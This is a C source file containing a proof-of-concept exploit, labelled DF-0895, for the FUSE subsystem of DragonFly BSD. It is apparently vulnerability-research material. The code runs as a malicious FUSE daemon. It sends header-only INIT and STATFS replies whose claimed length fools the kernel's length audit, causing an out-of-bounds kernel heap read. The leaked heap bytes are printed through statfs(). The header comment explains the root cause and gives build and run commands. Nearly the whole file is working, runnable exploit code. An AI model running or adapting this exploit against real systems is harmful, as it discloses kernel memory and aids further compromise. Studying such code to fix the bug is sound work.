/*
 * DF-0895 — Malicious FUSE daemon that triggers an OOB heap read by
 * replying to FUSE_INIT / FUSE_STATFS with a buffer SHORTER than the
 * fixed-size struct the kernel subsequently reads out of it.
 *
 * Root cause (sys/vfs/fuse/fuse_device.c:fuse_device_write):
 *   - the daemon's actual write size (uio->uio_resid) sizes the reply
 *     buffer via fuse_buf_alloc()  (fuse_ipc.c:fuse_buf_alloc).
 *   - fuse_audit_length() (fuse_util.c:87) validates the daemon-CLAIMED
 *     ohd->len field, NOT the actual reply buffer length.
 *   - the IPC is completed unconditionally ("Complete the IPC regardless
 *     of above result", fuse_device.c:218) and the kernel-side caller
 *     (fuse_vfsops.c:fuse_mount:216, fuse_statfs:399, fuse_statvfs:430)
 *     does  fio = fuse_out_data(fip);  /  fso = fuse_out_data(fip);
 *     and dereferences the full sizeof(struct fuse_init_out) [64 B] /
 *     sizeof(struct fuse_statfs_out) [80 B] — even though only the
 *     16-byte fuse_out_header was actually written.
 *
 * Result: an 80-byte read past a 16-byte kmalloc → kernel heap OOB read.
 * For STATFS/STATVFS the leaked bytes flow back to userspace via the
 * statfs/statvfs syscalls (sbp->f_blocks/f_bfree/f_bavail/f_files/f_ffree).
 *
 * Threat model: FUSE is module-only on DragonFly; /dev/fuse is root:operator
 * 0660 and the mount requires privilege.  This PoC therefore runs as root
 * (matching DF-0780/0781/0915).  Root→kernel is already game-over, but the
 * primitive is a genuine kernel heap disclosure: any local user who can
 * statfs() the mount point receives the leaked bytes, and a short reply
 * whose claimed ohd->len matches the expected struct size passes the audit
 * silently.
 *
 * Build:  cc -O2 -o fused_short fused_short.c
 * Run:    (as root) ./fused_short            # valid INIT, short STATFS -> leak
 *         (as root) ./fused_short init       # short INIT too -> OOB into fmp
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>

/* ---- FUSE ABI (transcribed from sys/vfs/fuse/fuse_abi.h) ---- */
#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1

#define FUSE_LOOKUP   1
#define FUSE_FORGET   2
#define FUSE_GETATTR  3
#define FUSE_STATFS   17
#define FUSE_OPEN     14
#define FUSE_INIT     26

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_attr       { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; };
struct fuse_entry_out  { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; };
struct fuse_attr_out   { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags, padding; };
struct fuse_getattr_in { uint32_t getattr_flags, dummy; uint64_t fh; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };

struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

/*
 * Expected (declared) reply sizes — what fuse_audit_length checks against
 * the daemon-CLAIMED ohd->len (NOT the actual buffer length):
 *   FUSE_INIT   : sizeof(fuse_out_header) + sizeof(fuse_init_out)   = 16 + 64 = 80
 *   FUSE_STATFS : sizeof(fuse_out_header) + sizeof(fuse_statfs_out) = 16 + 80 = 96
 *
 * The trigger writes only the 16-byte fuse_out_header, sets ohd->len to
 * the expected value above, ohd->error = 0.  Audit passes; kernel then
 * reads 64/80 bytes past the 16-byte allocation.
 */
#define INIT_EXPECTED_LEN   80
#define STATFS_EXPECTED_LEN 96
#define HEADER_LEN          16

static int g_fd = -1;
static FILE *g_log;
static int g_short_init = 0;   /* if set, also short-reply FUSE_INIT */

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    fprintf(g_log, "[daemon %d] ", (int)getpid());
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
}

static int read_request(int fd, uint8_t *buf, size_t bufsz, struct fuse_in_header *ihd) {
    ssize_t n = read(fd, buf, bufsz);
    if (n <= 0) { dlog("read req failed: %s\n", strerror(errno)); return -1; }
    if ((size_t)n < sizeof(*ihd)) { dlog("short read %zd\n", n); return -1; }
    memcpy(ihd, buf, sizeof(*ihd));
    return 0;
}

/*
 * send_reply: write header + optional payload.  If claimed_ohd_len_override
 * is non-zero, the header's ohd->len field is set to that value while only
 * `payload_len` bytes of payload are actually written.  This is the DF-0895
 * trigger when payload_len is short but the claimed len matches the audit.
 */
static void send_reply(int fd, uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len,
                       uint32_t claimed_ohd_len_override) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique;
    ohd->error  = error;
    ohd->len    = claimed_ohd_len_override ? claimed_ohd_len_override : (uint32_t)actual;
    if (payload && payload_len)
        memcpy(out + sizeof(*ohd), payload, payload_len);
    ssize_t w = write(fd, out, actual);
    dlog("reply unique=%ju error=%d payload=%zu actual_write=%zd "
         "claimed_ohd->len=%u %s\n",
         (uintmax_t)unique, error, payload_len, w, ohd->len,
         (claimed_ohd_len_override && claimed_ohd_len_override != actual) ?
             "<<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB)" : "");
    free(out);
}

static void make_attr(struct fuse_attr *a, uint64_t ino) {
    memset(a, 0, sizeof(*a));
    a->ino  = ino;
    if (ino == FUSE_ROOT_ID) {
        a->mode = 0040755;     /* S_IFDIR | 0755 */
        a->nlink = 2;
        a->size = 4096;
    } else {
        a->mode = 0100644;
        a->nlink = 1;
        a->size = 0;
    }
    a->blksize = 4096;
    a->blocks = (a->size + 511) / 512;
}

static void daemon_loop(int fd) {
    dlog("I/O loop started on fd %d (short_init=%d)\n", fd, g_short_init);
    for (;;) {
        uint8_t req[65536];
        struct fuse_in_header ihd;
        if (read_request(fd, req, sizeof(req), &ihd) < 0)
            return;
        dlog("REQ opcode=%u unique=%ju nodeid=%ju len=%u\n",
             ihd.opcode, (uintmax_t)ihd.unique, (uintmax_t)ihd.nodeid, ihd.len);

        switch (ihd.opcode) {
        case FUSE_INIT: {
            if (g_short_init) {
                /* DF-0895 INIT path: write only header, claim ohd->len=80.
                 * Kernel reads sizeof(fuse_init_out)=64 bytes past the
                 * 16-byte allocation into fmp->{abi_major,abi_minor,
                 * max_write}.  Likely fails mount via fuse_cmp_version
                 * (<7,0) if the OOB bytes make major<7, but the OOB read
                 * itself already happened. */
                dlog("  FUSE_INIT -> SHORT reply (DF-0895 INIT OOB read)\n");
                send_reply(fd, ihd.unique, 0, NULL, 0, INIT_EXPECTED_LEN);
            } else {
                struct fuse_init_out io;
                memset(&io, 0, sizeof(io));
                io.major = FUSE_KERNEL_VERSION;
                io.minor = FUSE_KERNEL_MINOR_VERSION;
                io.max_readahead = 4096;
                io.max_write = 1 << 20;
                io.max_pages = 256;
                send_reply(fd, ihd.unique, 0, &io, sizeof(io), 0);
            }
            break;
        }
        case FUSE_STATFS: {
            /* DF-0895 STATFS path: write only header, claim ohd->len=96.
             * Kernel reads sizeof(fuse_statfs_out)=80 bytes past the
             * 16-byte allocation; those bytes are returned to userspace
             * via statfs()/statvfs() in f_blocks/f_bfree/f_bavail/f_files/
             * f_ffree. */
            dlog("  FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak)\n");
            send_reply(fd, ihd.unique, 0, NULL, 0, STATFS_EXPECTED_LEN);
            break;
        }
        case FUSE_LOOKUP: {
            struct fuse_entry_out eo;
            memset(&eo, 0, sizeof(eo));
            eo.nodeid = 1; eo.generation = 1;
            eo.entry_valid = 3600; eo.attr_valid = 3600;
            make_attr(&eo.attr, FUSE_ROOT_ID);
            send_reply(fd, ihd.unique, 0, &eo, sizeof(eo), 0);
            break;
        }
        case FUSE_GETATTR: {
            struct fuse_attr_out ao;
            memset(&ao, 0, sizeof(ao));
            ao.attr_valid = 3600;
            make_attr(&ao.attr, ihd.nodeid);
            send_reply(fd, ihd.unique, 0, &ao, sizeof(ao), 0);
            break;
        }
        case FUSE_OPEN: {
            struct fuse_open_out oo;
            memset(&oo, 0, sizeof(oo));
            oo.fh = 1;
            send_reply(fd, ihd.unique, 0, &oo, sizeof(oo), 0);
            break;
        }
        case FUSE_FORGET:
            dlog("  FUSE_FORGET (no reply)\n");
            break;
        default:
            dlog("  unhandled opcode %u -> ENOSYS\n", ihd.opcode);
            send_reply(fd, ihd.unique, -ENOSYS, NULL, 0, 0);
            break;
        }
    }
}

/* child: mount, then issue statfs() to capture the leaked bytes */
static int child_mount_and_statfs(int fd) {
    struct fuse_mount_info args;
    memset(&args, 0, sizeof(args));
    args.fd   = fd;
    args.from = "/dev/fuse";
    args.max_read = 1 << 20;

    mkdir("/mnt/df0895", 0755);
    rmdir("/mnt/df0895"); /* ensure clean */
    mkdir("/mnt/df0895", 0755);

    dlog("child: mount(fuse, /mnt/df0895, fd=%d)\n", fd);
    if (mount("fuse", "/mnt/df0895", 0, &args) < 0) {
        dlog("child: mount failed: %s  (INIT short-reply likely made abi garbage)\n",
             strerror(errno));
        return 1;
    }
    dlog("child: mount succeeded (INIT OOB read already happened if short_init)\n");

    /* The mount itself already issued one FUSE_STATFS (fuse_vfsops.c:238
     * VFS_STATFS).  Issue two more statfs() syscalls and print the raw
     * leaked fields; each one triggers a fresh short-reply + OOB read. */
    for (int iter = 0; iter < 3; iter++) {
        struct statfs sf;
        memset(&sf, 0, sizeof(sf));
        if (statfs("/mnt/df0895", &sf) < 0) {
            dlog("child: statfs iter %d failed: %s\n", iter, strerror(errno));
            continue;
        }
        /* A legitimate reply would be all-zero (we send no payload).  Any
         * non-zero byte here is kernel heap leaked by the OOB read. */
        printf("[iter %d] statfs leaked fields (non-zero == OOB heap read):\n", iter);
        printf("  f_blocks = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_blocks, (uintmax_t)sf.f_blocks);
        printf("  f_bfree  = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_bfree,  (uintmax_t)sf.f_bfree);
        printf("  f_bavail = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_bavail, (uintmax_t)sf.f_bavail);
        printf("  f_files  = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_files,  (uintmax_t)sf.f_files);
        printf("  f_ffree  = 0x%016jx  (%ju)\n", (uintmax_t)sf.f_ffree,  (uintmax_t)sf.f_ffree);
        printf("  f_bsize  = %u  f_iosize = %u\n", (unsigned)sf.f_bsize, (unsigned)sf.f_iosize);
        fflush(stdout);
    }

    /* statvfs path (fuse_statvfs at fuse_vfsops.c:430) uses the SAME short
     * FUSE_STATFS reply and the same OOB read of fuse_statfs_out; the
     * statvfs(2) syscall is exercised implicitly by `df`/etc. via
     * VFS_STATVFS.  We rely on the statfs leak above to demonstrate the
     * OOB read; the statvfs path is the same bug, same reply, same fix. */

    /* unmount to let daemon exit */
    unmount("/mnt/df0895", MNT_FORCE);
    return 0;
}

int main(int argc, char **argv) {
    g_log = fopen("/tmp/df0895_daemon.log", "w");
    if (!g_log) g_log = stderr;
    setvbuf(g_log, NULL, _IOLBF, 0);

    if (argc > 1 && strcmp(argv[1], "init") == 0)
        g_short_init = 1;

    signal(SIGPIPE, SIG_IGN);

    g_fd = open("/dev/fuse", O_RDWR);
    if (g_fd < 0) {
        dlog("open /dev/fuse failed: %s (need root + operator group; is fuse.ko loaded?)\n",
             strerror(errno));
        return 2;
    }
    dlog("opened /dev/fuse fd=%d\n", g_fd);

    pid_t pid = fork();
    if (pid < 0) { dlog("fork failed: %s\n", strerror(errno)); return 3; }
    if (pid == 0) {
        int rc = child_mount_and_statfs(g_fd);
        dlog("child exiting rc=%d\n", rc);
        _exit(rc);
    }
    daemon_loop(g_fd);
    int st;
    waitpid(pid, &st, 0);
    dlog("parent: child status=%d; done\n", st);
    close(g_fd);
    fclose(g_log);
    return 0;
}
